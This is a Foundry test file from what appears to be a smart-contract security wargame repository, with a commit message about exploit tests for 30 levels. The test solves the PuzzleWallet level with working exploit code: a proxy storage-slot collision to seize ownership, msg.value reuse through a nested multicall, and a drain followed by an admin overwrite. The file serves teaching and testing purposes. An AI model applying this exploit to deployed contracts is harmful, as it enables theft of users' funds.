Files
zeekayandHanzo Dev 8c2e9e3d6f Add Foundry exploit tests for all 30 levels
Each level test proves a fresh instance is unsolved, runs the reference
exploit (contracts/src/attacks/* or the equivalent steps) and asserts Lux
records completion. Motorbike stops at seizing the uninitialised Engine:
its "engine destroyed" completion needs selfdestruct to delete code, which
EIP-6780 forbids across transactions on the Cancun baseline, so the test
proves the seizure and documents the limit.

Co-authored-by: Hanzo Dev <[email protected]>
2026-09-23 02:23:08 -07:00

48 lines
1.7 KiB
Solidity

// SPDX-License-Identifier: MIT
pragma solidity 0.8.37;
import {LuxTest} from "../Base.t.sol";
import {PuzzleWalletFactory} from "../../src/levels/PuzzleWalletFactory.sol";
import {PuzzleWallet, PuzzleProxy} from "../../src/levels/PuzzleWallet.sol";
contract PuzzleWalletLevel is LuxTest {
PuzzleWalletFactory factory;
address player = makeAddr("player");
function setUp() public {
_deployCore();
factory = new PuzzleWalletFactory();
_register(factory);
}
function test_solve() public {
address instance = _create(factory, player, 0.001 ether);
_assertUnsolved(instance, player);
PuzzleProxy proxy = PuzzleProxy(payable(instance));
PuzzleWallet wallet = PuzzleWallet(instance);
vm.deal(player, 1 ether);
vm.startPrank(player, player);
// pendingAdmin collides with wallet.owner -> we become owner.
proxy.proposeNewAdmin(player);
wallet.addToWhitelist(player);
// Nested multicall reuses msg.value so the balance credit doubles.
bytes[] memory inner = new bytes[](1);
inner[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory outer = new bytes[](2);
outer[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
outer[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, inner);
wallet.multicall{value: 0.001 ether}(outer);
// Drain to zero, then setMaxBalance writes admin (collides with maxBalance).
wallet.execute(player, 0.002 ether, "");
wallet.setMaxBalance(uint256(uint160(player)));
vm.stopPrank();
assertEq(proxy.admin(), player);
_assertSolved(factory, instance, player);
}
}